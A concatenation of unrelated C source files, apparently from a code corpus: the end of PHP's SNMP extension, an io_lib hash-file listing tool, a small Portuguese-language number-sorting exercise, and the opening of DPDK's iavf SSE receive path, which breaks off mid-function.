void php_snmp_write_property(zval *object, zval *member, zval *value, void **cache_slot)
{
zval tmp_member;
php_snmp_object *obj;
php_snmp_prop_handler *hnd;
if (Z_TYPE_P(member) != IS_STRING) {
ZVAL_COPY(&tmp_member, member);
convert_to_string(&tmp_member);
member = &tmp_member;
}
obj = Z_SNMP_P(object);
hnd = zend_hash_find_ptr(&php_snmp_properties, Z_STR_P(member));
if (hnd && hnd->write_func) {
hnd->write_func(obj, value);
/*
if (!PZVAL_IS_REF(value) && Z_REFCOUNT_P(value) == 0) {
Z_ADDREF_P(value);
zval_ptr_dtor(&value);
}
*/
} else {
zend_object_handlers * std_hnd = zend_get_std_object_handlers();
std_hnd->write_property(object, member, value, cache_slot);
}
if (member == &tmp_member) {
zval_ptr_dtor(member);
}
}
/* }}} */
/* {{{ php_snmp_has_property(zval *object, zval *member, int has_set_exists[, const zend_literal *key])
Generic object property checker */
static int php_snmp_has_property(zval *object, zval *member, int has_set_exists, void **cache_slot)
{
zval rv;
php_snmp_prop_handler *hnd;
int ret = 0;
if ((hnd = zend_hash_find_ptr(&php_snmp_properties, Z_STR_P(member))) != NULL) {
switch (has_set_exists) {
case 2:
ret = 1;
break;
case 0: {
zval *value = php_snmp_read_property(object, member, BP_VAR_IS, cache_slot, &rv);
if (value != &EG(uninitialized_zval)) {
ret = Z_TYPE_P(value) != IS_NULL? 1 : 0;
zval_ptr_dtor(value);
}
break;
}
default: {
zval *value = php_snmp_read_property(object, member, BP_VAR_IS, cache_slot, &rv);
if (value != &EG(uninitialized_zval)) {
convert_to_boolean(value);
ret = Z_TYPE_P(value) == IS_TRUE? 1:0;
}
break;
}
}
} else {
zend_object_handlers *std_hnd = zend_get_std_object_handlers();
ret = std_hnd->has_property(object, member, has_set_exists, cache_slot);
}
return ret;
}
/* }}} */
static HashTable *php_snmp_get_gc(zval *object, zval ***gc_data, int *gc_data_count) /* {{{ */
{
*gc_data = NULL;
*gc_data_count = 0;
return zend_std_get_properties(object);
}
/* }}} */
/* {{{ php_snmp_get_properties(zval *object)
Returns all object properties. Injects SNMP properties into object on first call */
static HashTable *php_snmp_get_properties(zval *object)
{
php_snmp_object *obj;
php_snmp_prop_handler *hnd;
HashTable *props;
zval rv;
zend_string *key;
obj = Z_SNMP_P(object);
props = zend_std_get_properties(object);
ZEND_HASH_FOREACH_STR_KEY_PTR(&php_snmp_properties, key, hnd) {
if (!hnd->read_func || hnd->read_func(obj, &rv) != SUCCESS) {
ZVAL_NULL(&rv);
}
zend_hash_update(props, key, &rv);
} ZEND_HASH_FOREACH_END();
return obj->zo.properties;
}
/* }}} */
/* {{{ */
static int php_snmp_read_info(php_snmp_object *snmp_object, zval *retval)
{
zval val;
array_init(retval);
if (snmp_object->session == NULL) {
return SUCCESS;
}
ZVAL_STRINGL(&val, snmp_object->session->peername, strlen(snmp_object->session->peername));
add_assoc_zval(retval, "hostname", &val);
ZVAL_LONG(&val, snmp_object->session->remote_port);
add_assoc_zval(retval, "port", &val);
ZVAL_LONG(&val, snmp_object->session->timeout);
add_assoc_zval(retval, "timeout", &val);
ZVAL_LONG(&val, snmp_object->session->retries);
add_assoc_zval(retval, "retries", &val);
return SUCCESS;
}
/* }}} */
/* {{{ */
static int php_snmp_read_max_oids(php_snmp_object *snmp_object, zval *retval)
{
if (snmp_object->max_oids > 0) {
ZVAL_LONG(retval, snmp_object->max_oids);
} else {
ZVAL_NULL(retval);
}
return SUCCESS;
}
/* }}} */
#define PHP_SNMP_BOOL_PROPERTY_READER_FUNCTION(name) \
static int php_snmp_read_##name(php_snmp_object *snmp_object, zval *retval) \
{ \
ZVAL_BOOL(retval, snmp_object->name); \
return SUCCESS; \
}
PHP_SNMP_BOOL_PROPERTY_READER_FUNCTION(oid_increasing_check)
PHP_SNMP_BOOL_PROPERTY_READER_FUNCTION(quick_print)
PHP_SNMP_BOOL_PROPERTY_READER_FUNCTION(enum_print)
#define PHP_SNMP_LONG_PROPERTY_READER_FUNCTION(name) \
static int php_snmp_read_##name(php_snmp_object *snmp_object, zval *retval) \
{ \
ZVAL_LONG(retval, snmp_object->name); \
return SUCCESS; \
}
PHP_SNMP_LONG_PROPERTY_READER_FUNCTION(valueretrieval)
PHP_SNMP_LONG_PROPERTY_READER_FUNCTION(oid_output_format)
PHP_SNMP_LONG_PROPERTY_READER_FUNCTION(exceptions_enabled)
/* {{{ */
static int php_snmp_write_info(php_snmp_object *snmp_object, zval *newval)
{
php_error_docref(NULL, E_WARNING, "info property is read-only");
return FAILURE;
}
/* }}} */
/* {{{ */
static int php_snmp_write_max_oids(php_snmp_object *snmp_object, zval *newval)
{
zval ztmp;
int ret = SUCCESS;
if (Z_TYPE_P(newval) == IS_NULL) {
snmp_object->max_oids = 0;
return ret;
}
if (Z_TYPE_P(newval) != IS_LONG) {
ztmp = *newval;
zval_copy_ctor(&ztmp);
convert_to_long(&ztmp);
newval = &ztmp;
}
if (Z_LVAL_P(newval) > 0) {
snmp_object->max_oids = Z_LVAL_P(newval);
} else {
php_error_docref(NULL, E_WARNING, "max_oids should be positive integer or NULL, got " ZEND_LONG_FMT, Z_LVAL_P(newval));
}
if (newval == &ztmp) {
zval_dtor(newval);
}
return ret;
}
/* }}} */
/* {{{ */
static int php_snmp_write_valueretrieval(php_snmp_object *snmp_object, zval *newval)
{
zval ztmp;
int ret = SUCCESS;
if (Z_TYPE_P(newval) != IS_LONG) {
ztmp = *newval;
zval_copy_ctor(&ztmp);
convert_to_long(&ztmp);
newval = &ztmp;
}
if (Z_LVAL_P(newval) >= 0 && Z_LVAL_P(newval) <= (SNMP_VALUE_LIBRARY|SNMP_VALUE_PLAIN|SNMP_VALUE_OBJECT)) {
snmp_object->valueretrieval = Z_LVAL_P(newval);
} else {
php_error_docref(NULL, E_WARNING, "Unknown SNMP value retrieval method '" ZEND_LONG_FMT "'", Z_LVAL_P(newval));
ret = FAILURE;
}
if (newval == &ztmp) {
zval_dtor(newval);
}
return ret;
}
/* }}} */
#define PHP_SNMP_BOOL_PROPERTY_WRITER_FUNCTION(name) \
static int php_snmp_write_##name(php_snmp_object *snmp_object, zval *newval) \
{ \
zval ztmp; \
ZVAL_COPY(&ztmp, newval); \
convert_to_boolean(&ztmp); \
newval = &ztmp; \
\
snmp_object->name = Z_TYPE_P(newval) == IS_TRUE? 1 : 0; \
\
return SUCCESS; \
}
PHP_SNMP_BOOL_PROPERTY_WRITER_FUNCTION(quick_print)
PHP_SNMP_BOOL_PROPERTY_WRITER_FUNCTION(enum_print)
PHP_SNMP_BOOL_PROPERTY_WRITER_FUNCTION(oid_increasing_check)
/* {{{ */
static int php_snmp_write_oid_output_format(php_snmp_object *snmp_object, zval *newval)
{
zval ztmp;
int ret = SUCCESS;
if (Z_TYPE_P(newval) != IS_LONG) {
ZVAL_COPY(&ztmp, newval);
convert_to_long(&ztmp);
newval = &ztmp;
}
switch(Z_LVAL_P(newval)) {
case NETSNMP_OID_OUTPUT_SUFFIX:
case NETSNMP_OID_OUTPUT_MODULE:
case NETSNMP_OID_OUTPUT_FULL:
case NETSNMP_OID_OUTPUT_NUMERIC:
case NETSNMP_OID_OUTPUT_UCD:
case NETSNMP_OID_OUTPUT_NONE:
snmp_object->oid_output_format = Z_LVAL_P(newval);
break;
default:
php_error_docref(NULL, E_WARNING, "Unknown SNMP output print format '" ZEND_LONG_FMT "'", Z_LVAL_P(newval));
ret = FAILURE;
break;
}
if (newval == &ztmp) {
zval_ptr_dtor(newval);
}
return ret;
}
/* }}} */
/* {{{ */
static int php_snmp_write_exceptions_enabled(php_snmp_object *snmp_object, zval *newval)
{
zval ztmp;
int ret = SUCCESS;
if (Z_TYPE_P(newval) != IS_LONG) {
ZVAL_COPY(&ztmp, newval);
convert_to_long(&ztmp);
newval = &ztmp;
}
snmp_object->exceptions_enabled = Z_LVAL_P(newval);
if (newval == &ztmp) {
zval_ptr_dtor(newval);
}
return ret;
}
/* }}} */
static void free_php_snmp_properties(zval *el) /* {{{ */
{
pefree(Z_PTR_P(el), 1);
}
/* }}} */
/* {{{ php_snmp_class_methods[] */
static zend_function_entry php_snmp_class_methods[] = {
PHP_ME(snmp, __construct, arginfo_snmp_create, ZEND_ACC_PUBLIC)
PHP_ME(snmp, close, arginfo_snmp_void, ZEND_ACC_PUBLIC)
PHP_ME(snmp, setSecurity, arginfo_snmp_setSecurity, ZEND_ACC_PUBLIC)
PHP_ME(snmp, get, arginfo_snmp_get, ZEND_ACC_PUBLIC)
PHP_ME(snmp, getnext, arginfo_snmp_get, ZEND_ACC_PUBLIC)
PHP_ME(snmp, walk, arginfo_snmp_walk, ZEND_ACC_PUBLIC)
PHP_ME(snmp, set, arginfo_snmp_set, ZEND_ACC_PUBLIC)
PHP_ME(snmp, getErrno, arginfo_snmp_void, ZEND_ACC_PUBLIC)
PHP_ME(snmp, getError, arginfo_snmp_void, ZEND_ACC_PUBLIC)
PHP_FE_END
};
#define PHP_SNMP_PROPERTY_ENTRY_RECORD(name) \
{ "" #name "", sizeof("" #name "") - 1, php_snmp_read_##name, php_snmp_write_##name }
const php_snmp_prop_handler php_snmp_property_entries[] = {
PHP_SNMP_PROPERTY_ENTRY_RECORD(info),
PHP_SNMP_PROPERTY_ENTRY_RECORD(max_oids),
PHP_SNMP_PROPERTY_ENTRY_RECORD(valueretrieval),
PHP_SNMP_PROPERTY_ENTRY_RECORD(quick_print),
PHP_SNMP_PROPERTY_ENTRY_RECORD(enum_print),
PHP_SNMP_PROPERTY_ENTRY_RECORD(oid_output_format),
PHP_SNMP_PROPERTY_ENTRY_RECORD(oid_increasing_check),
PHP_SNMP_PROPERTY_ENTRY_RECORD(exceptions_enabled),
{ NULL, 0, NULL, NULL}
};
/* }}} */
/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(snmp)
{
netsnmp_log_handler *logh;
zend_class_entry ce, cex;
le_snmp_session = zend_register_list_destructors_ex(php_snmp_session_destructor, NULL, PHP_SNMP_SESSION_RES_NAME, module_number);
init_snmp("snmpapp");
#ifdef NETSNMP_DS_LIB_DONT_PERSIST_STATE
/* Prevent update of the snmpapp.conf file */
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_DONT_PERSIST_STATE, 1);
#endif
/* Disable logging, use exit status'es and related variabled to detect errors */
shutdown_snmp_logging();
logh = netsnmp_register_loghandler(NETSNMP_LOGHANDLER_NONE, LOG_ERR);
if (logh) {
logh->pri_max = LOG_ERR;
}
memcpy(&php_snmp_object_handlers, zend_get_std_object_handlers(), sizeof(zend_object_handlers));
php_snmp_object_handlers.read_property = php_snmp_read_property;
php_snmp_object_handlers.write_property = php_snmp_write_property;
php_snmp_object_handlers.has_property = php_snmp_has_property;
php_snmp_object_handlers.get_properties = php_snmp_get_properties;
php_snmp_object_handlers.get_gc = php_snmp_get_gc;
/* Register SNMP Class */
INIT_CLASS_ENTRY(ce, "SNMP", php_snmp_class_methods);
ce.create_object = php_snmp_object_new;
php_snmp_object_handlers.offset = XtOffsetOf(php_snmp_object, zo);
php_snmp_object_handlers.clone_obj = NULL;
php_snmp_object_handlers.free_obj = php_snmp_object_free_storage;
php_snmp_ce = zend_register_internal_class(&ce);
/* Register SNMP Class properties */
zend_hash_init(&php_snmp_properties, 0, NULL, free_php_snmp_properties, 1);
PHP_SNMP_ADD_PROPERTIES(&php_snmp_properties, php_snmp_property_entries);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_SUFFIX", NETSNMP_OID_OUTPUT_SUFFIX, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_MODULE", NETSNMP_OID_OUTPUT_MODULE, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_FULL", NETSNMP_OID_OUTPUT_FULL, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_NUMERIC", NETSNMP_OID_OUTPUT_NUMERIC, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_UCD", NETSNMP_OID_OUTPUT_UCD, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OID_OUTPUT_NONE", NETSNMP_OID_OUTPUT_NONE, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_VALUE_LIBRARY", SNMP_VALUE_LIBRARY, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_VALUE_PLAIN", SNMP_VALUE_PLAIN, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_VALUE_OBJECT", SNMP_VALUE_OBJECT, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_BIT_STR", ASN_BIT_STR, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OCTET_STR", ASN_OCTET_STR, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OPAQUE", ASN_OPAQUE, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_NULL", ASN_NULL, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_OBJECT_ID", ASN_OBJECT_ID, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_IPADDRESS", ASN_IPADDRESS, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_COUNTER", ASN_GAUGE, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_UNSIGNED", ASN_UNSIGNED, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_TIMETICKS", ASN_TIMETICKS, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_UINTEGER", ASN_UINTEGER, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_INTEGER", ASN_INTEGER, CONST_CS | CONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SNMP_COUNTER64", ASN_COUNTER64, CONST_CS | CONST_PERSISTENT);
REGISTER_SNMP_CLASS_CONST_LONG("VERSION_1", SNMP_VERSION_1);
REGISTER_SNMP_CLASS_CONST_LONG("VERSION_2c", SNMP_VERSION_2c);
REGISTER_SNMP_CLASS_CONST_LONG("VERSION_2C", SNMP_VERSION_2c);
REGISTER_SNMP_CLASS_CONST_LONG("VERSION_3", SNMP_VERSION_3);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_NOERROR", PHP_SNMP_ERRNO_NOERROR);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_ANY", PHP_SNMP_ERRNO_ANY);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_GENERIC", PHP_SNMP_ERRNO_GENERIC);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_TIMEOUT", PHP_SNMP_ERRNO_TIMEOUT);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_ERROR_IN_REPLY", PHP_SNMP_ERRNO_ERROR_IN_REPLY);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_OID_NOT_INCREASING", PHP_SNMP_ERRNO_OID_NOT_INCREASING);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_OID_PARSING_ERROR", PHP_SNMP_ERRNO_OID_PARSING_ERROR);
REGISTER_SNMP_CLASS_CONST_LONG("ERRNO_MULTIPLE_SET_QUERIES", PHP_SNMP_ERRNO_MULTIPLE_SET_QUERIES);
/* Register SNMPException class */
INIT_CLASS_ENTRY(cex, "SNMPException", NULL);
php_snmp_exception_ce = zend_register_internal_class_ex(&cex, spl_ce_RuntimeException);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MSHUTDOWN_FUNCTION
*/
PHP_MSHUTDOWN_FUNCTION(snmp)
{
snmp_shutdown("snmpapp");
zend_hash_destroy(&php_snmp_properties);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(snmp)
{
php_info_print_table_start();
php_info_print_table_row(2, "NET-SNMP Support", "enabled");
php_info_print_table_row(2, "NET-SNMP Version", netsnmp_get_version());
php_info_print_table_row(2, "PHP SNMP Version", PHP_SNMP_VERSION);
php_info_print_table_end();
}
/* }}} */
/* {{{ snmp_module_deps[]
*/
static const zend_module_dep snmp_module_deps[] = {
ZEND_MOD_REQUIRED("spl")
ZEND_MOD_END
};
/* }}} */
/* {{{ snmp_module_entry
*/
zend_module_entry snmp_module_entry = {
STANDARD_MODULE_HEADER_EX,
NULL,
snmp_module_deps,
"snmp",
snmp_functions,
PHP_MINIT(snmp),
PHP_MSHUTDOWN(snmp),
NULL,
NULL,
PHP_MINFO(snmp),
PHP_SNMP_VERSION,
PHP_MODULE_GLOBALS(snmp),
PHP_GINIT(snmp),
NULL,
NULL,
STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
#endif
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: sw=4 ts=4 fdm=marker
* vim<600: sw=4 ts=4
*/
|
889437.c | /************************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
************************************************************************************/
#include "sealc/cluster.h"
#include "sealc/version.h" |
392835.c | /*
* Copyright (c) 2005-2008, 2010, 2013 Genome Research Ltd.
* Author(s): James Bonfield
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the names Genome Research Ltd and Wellcome Trust Sanger
* Institute nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific
* prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY GENOME RESEARCH LTD AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GENOME RESEARCH
* LTD OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
#include "io_lib_config.h"
#endif
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <io_lib/hash_table.h>
#include <io_lib/os.h>
/*
* Dumps a textual represenation of the hash table to stdout.
*/
void HashTableLongDump(HashFile *hf, FILE *fp, int long_format) {
HashTable *h = hf->h;
int i;
for (i = 0; i < h->nbuckets; i++) {
HashItem *hi;
for (hi = h->bucket[i]; hi; hi = hi->next) {
HashFileItem *hfi;
hfi = (HashFileItem *)hi->data.p;
if (long_format) {
char *aname;
if (hf->archives &&
hfi->archive < hf->narchives) {
aname = hf->archives[hfi->archive];
} else {
aname = "?";
}
fprintf(fp, "%10"PRId64" %6"PRId32" %.*s %s\n",
hfi->pos, hfi->size, hi->key_len, hi->key,
aname);
/*
fprintf(fp, "%10ld %6d %.*s\n",
hfi->pos, hfi->size, hi->key_len, hi->key);
*/
} else {
fprintf(fp, "%.*s\n", hi->key_len, hi->key);
}
}
}
}
/*
* Lists the contents of a .hash file
*/
int main(int argc, char **argv) {
FILE *fp;
HashFile *hf;
int long_format = 0;
/* process command line arguments of the form -arg */
if (argc >= 2 && strcmp(argv[1], "-l") == 0) {
long_format = 1;
argc--;
argv++;
}
if (argc >= 2) {
fp = fopen(argv[1], "rb");
if (NULL == fp) {
perror(argv[1]);
return 1;
}
} else {
fp = stdin;
}
hf = HashFileLoad(fp);
if (hf) {
HashTableLongDump(hf, stdout, long_format);
HashFileDestroy(hf);
}
return 0;
}
|
980442.c | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/*
* File: main.c
* Author: Miguel Costa
*
* Created on 20 de Outubro de 2017, 16:40
*/
#include <stdio.h>
#include <stdlib.h>
/*
*
*/
int main(int argc, char** argv) {
int valor1, valor2, valor3;
printf("Introduza o primeiro Valor: ");
scanf("%d", &valor1);
printf("Introduza o segundo Valor: ");
scanf("%d", &valor2);
printf("Introduza o terceiro Valor: ");
scanf("%d", &valor3);
if( valor1 < valor2 && valor1 < valor3 ) {
if (valor2 < valor3){
printf("Valores: %d, %d, %d", valor1, valor2, valor3);
}
else {
printf("Valores: %d, %d, %d", valor1, valor3, valor2);
}
}
else if( valor2 < valor1 && valor2 < valor3 ) {
if (valor1 < valor3){
printf("Valores: %d, %d, %d", valor2, valor1, valor3);
}
else {
printf("Valores: %d, %d, %d", valor2, valor3, valor1);
}
}
else {
if (valor1 < valor2){
printf("Valores: %d, %d, %d", valor3, valor1, valor2);
}
else {
printf("Valores: %d, %d, %d", valor3, valor2, valor1);
}
}
return (EXIT_SUCCESS);
}
|
655268.c | /* SPDX-License-Identifier: BSD-3-Clause
* Copyright(c) 2017 Intel Corporation
*/
#include <stdint.h>
#include <rte_ethdev_driver.h>
#include <rte_malloc.h>
#include "iavf.h"
#include "iavf_rxtx.h"
#include "iavf_rxtx_vec_common.h"
#include <tmmintrin.h>
#ifndef __INTEL_COMPILER
#pragma GCC diagnostic ignored "-Wcast-qual"
#endif
static inline void
iavf_rxq_rearm(struct iavf_rx_queue *rxq)
{
int i;
uint16_t rx_id;
volatile union iavf_rx_desc *rxdp;
struct rte_mbuf **rxp = &rxq->sw_ring[rxq->rxrearm_start];
struct rte_mbuf *mb0, *mb1;
__m128i hdr_room = _mm_set_epi64x(RTE_PKTMBUF_HEADROOM,
RTE_PKTMBUF_HEADROOM);
__m128i dma_addr0, dma_addr1;
rxdp = rxq->rx_ring + rxq->rxrearm_start;
/* Pull 'n' more MBUFs into the software ring */
if (rte_mempool_get_bulk(rxq->mp, (void *)rxp,
rxq->rx_free_thresh) < 0) {
if (rxq->rxrearm_nb + rxq->rx_free_thresh >= rxq->nb_rx_desc) {
dma_addr0 = _mm_setzero_si128();
for (i = 0; i < IAVF_VPMD_DESCS_PER_LOOP; i++) {
rxp[i] = &rxq->fake_mbuf;
_mm_store_si128((__m128i *)&rxdp[i].read,
dma_addr0);
}
}
rte_eth_devices[rxq->port_id].data->rx_mbuf_alloc_failed +=
rxq->rx_free_thresh;
return;
}
/* Initialize the mbufs in vector, process 2 mbufs in one loop */
for (i = 0; i < rxq->rx_free_thresh; i += 2, rxp += 2) {
__m128i vaddr0, vaddr1;
mb0 = rxp[0];
mb1 = rxp[1];
/* load buf_addr(lo 64bit) and buf_iova(hi 64bit) */
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, buf_iova) !=
offsetof(struct rte_mbuf, buf_addr) + 8);
vaddr0 = _mm_loadu_si128((__m128i *)&mb0->buf_addr);
vaddr1 = _mm_loadu_si128((__m128i *)&mb1->buf_addr);
/* convert pa to dma_addr hdr/data */
dma_addr0 = _mm_unpackhi_epi64(vaddr0, vaddr0);
dma_addr1 = _mm_unpackhi_epi64(vaddr1, vaddr1);
/* add headroom to pa values */
dma_addr0 = _mm_add_epi64(dma_addr0, hdr_room);
dma_addr1 = _mm_add_epi64(dma_addr1, hdr_room);
/* flush desc with pa dma_addr */
_mm_store_si128((__m128i *)&rxdp++->read, dma_addr0);
_mm_store_si128((__m128i *)&rxdp++->read, dma_addr1);
}
rxq->rxrearm_start += rxq->rx_free_thresh;
if (rxq->rxrearm_start >= rxq->nb_rx_desc)
rxq->rxrearm_start = 0;
rxq->rxrearm_nb -= rxq->rx_free_thresh;
rx_id = (uint16_t)((rxq->rxrearm_start == 0) ?
(rxq->nb_rx_desc - 1) : (rxq->rxrearm_start - 1));
PMD_RX_LOG(DEBUG, "port_id=%u queue_id=%u rx_tail=%u "
"rearm_start=%u rearm_nb=%u",
rxq->port_id, rxq->queue_id,
rx_id, rxq->rxrearm_start, rxq->rxrearm_nb);
/* Update the tail pointer on the NIC */
IAVF_PCI_REG_WRITE(rxq->qrx_tail, rx_id);
}
static inline void
desc_to_olflags_v(struct iavf_rx_queue *rxq, __m128i descs[4],
struct rte_mbuf **rx_pkts)
{
const __m128i mbuf_init = _mm_set_epi64x(0, rxq->mbuf_initializer);
__m128i rearm0, rearm1, rearm2, rearm3;
__m128i vlan0, vlan1, rss, l3_l4e;
/* mask everything except RSS, flow director and VLAN flags
* bit2 is for VLAN tag, bit11 for flow director indication
* bit13:12 for RSS indication.
*/
const __m128i rss_vlan_msk = _mm_set_epi32(
0x1c03804, 0x1c03804, 0x1c03804, 0x1c03804);
const __m128i cksum_mask = _mm_set_epi32(
PKT_RX_IP_CKSUM_GOOD | PKT_RX_IP_CKSUM_BAD |
PKT_RX_L4_CKSUM_GOOD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_GOOD | PKT_RX_IP_CKSUM_BAD |
PKT_RX_L4_CKSUM_GOOD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_GOOD | PKT_RX_IP_CKSUM_BAD |
PKT_RX_L4_CKSUM_GOOD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_EIP_CKSUM_BAD,
PKT_RX_IP_CKSUM_GOOD | PKT_RX_IP_CKSUM_BAD |
PKT_RX_L4_CKSUM_GOOD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_EIP_CKSUM_BAD);
/* map rss and vlan type to rss hash and vlan flag */
const __m128i vlan_flags = _mm_set_epi8(0, 0, 0, 0,
0, 0, 0, 0,
0, 0, 0, PKT_RX_VLAN | PKT_RX_VLAN_STRIPPED,
0, 0, 0, 0);
const __m128i rss_flags = _mm_set_epi8(0, 0, 0, 0,
0, 0, 0, 0,
PKT_RX_RSS_HASH | PKT_RX_FDIR, PKT_RX_RSS_HASH, 0, 0,
0, 0, PKT_RX_FDIR, 0);
const __m128i l3_l4e_flags = _mm_set_epi8(0, 0, 0, 0, 0, 0, 0, 0,
/* shift right 1 bit to make sure it not exceed 255 */
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_L4_CKSUM_BAD |
PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_IP_CKSUM_GOOD | PKT_RX_EIP_CKSUM_BAD |
PKT_RX_L4_CKSUM_BAD) >> 1,
(PKT_RX_EIP_CKSUM_BAD | PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_IP_CKSUM_GOOD | PKT_RX_EIP_CKSUM_BAD) >> 1,
(PKT_RX_L4_CKSUM_BAD | PKT_RX_IP_CKSUM_BAD) >> 1,
(PKT_RX_IP_CKSUM_GOOD | PKT_RX_L4_CKSUM_BAD) >> 1,
PKT_RX_IP_CKSUM_BAD >> 1,
(PKT_RX_IP_CKSUM_GOOD | PKT_RX_L4_CKSUM_GOOD) >> 1);
vlan0 = _mm_unpackhi_epi32(descs[0], descs[1]);
vlan1 = _mm_unpackhi_epi32(descs[2], descs[3]);
vlan0 = _mm_unpacklo_epi64(vlan0, vlan1);
vlan1 = _mm_and_si128(vlan0, rss_vlan_msk);
vlan0 = _mm_shuffle_epi8(vlan_flags, vlan1);
rss = _mm_srli_epi32(vlan1, 11);
rss = _mm_shuffle_epi8(rss_flags, rss);
l3_l4e = _mm_srli_epi32(vlan1, 22);
l3_l4e = _mm_shuffle_epi8(l3_l4e_flags, l3_l4e);
/* then we shift left 1 bit */
l3_l4e = _mm_slli_epi32(l3_l4e, 1);
/* we need to mask out the reduntant bits */
l3_l4e = _mm_and_si128(l3_l4e, cksum_mask);
vlan0 = _mm_or_si128(vlan0, rss);
vlan0 = _mm_or_si128(vlan0, l3_l4e);
/* At this point, we have the 4 sets of flags in the low 16-bits
* of each 32-bit value in vlan0.
* We want to extract these, and merge them with the mbuf init data
* so we can do a single 16-byte write to the mbuf to set the flags
* and all the other initialization fields. Extracting the
* appropriate flags means that we have to do a shift and blend for
* each mbuf before we do the write.
*/
rearm0 = _mm_blend_epi16(mbuf_init, _mm_slli_si128(vlan0, 8), 0x10);
rearm1 = _mm_blend_epi16(mbuf_init, _mm_slli_si128(vlan0, 4), 0x10);
rearm2 = _mm_blend_epi16(mbuf_init, vlan0, 0x10);
rearm3 = _mm_blend_epi16(mbuf_init, _mm_srli_si128(vlan0, 4), 0x10);
/* write the rearm data and the olflags in one write */
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, ol_flags) !=
offsetof(struct rte_mbuf, rearm_data) + 8);
RTE_BUILD_BUG_ON(offsetof(struct rte_mbuf, rearm_data) !=
RTE_ALIGN(offsetof(struct rte_mbuf, rearm_data), 16));
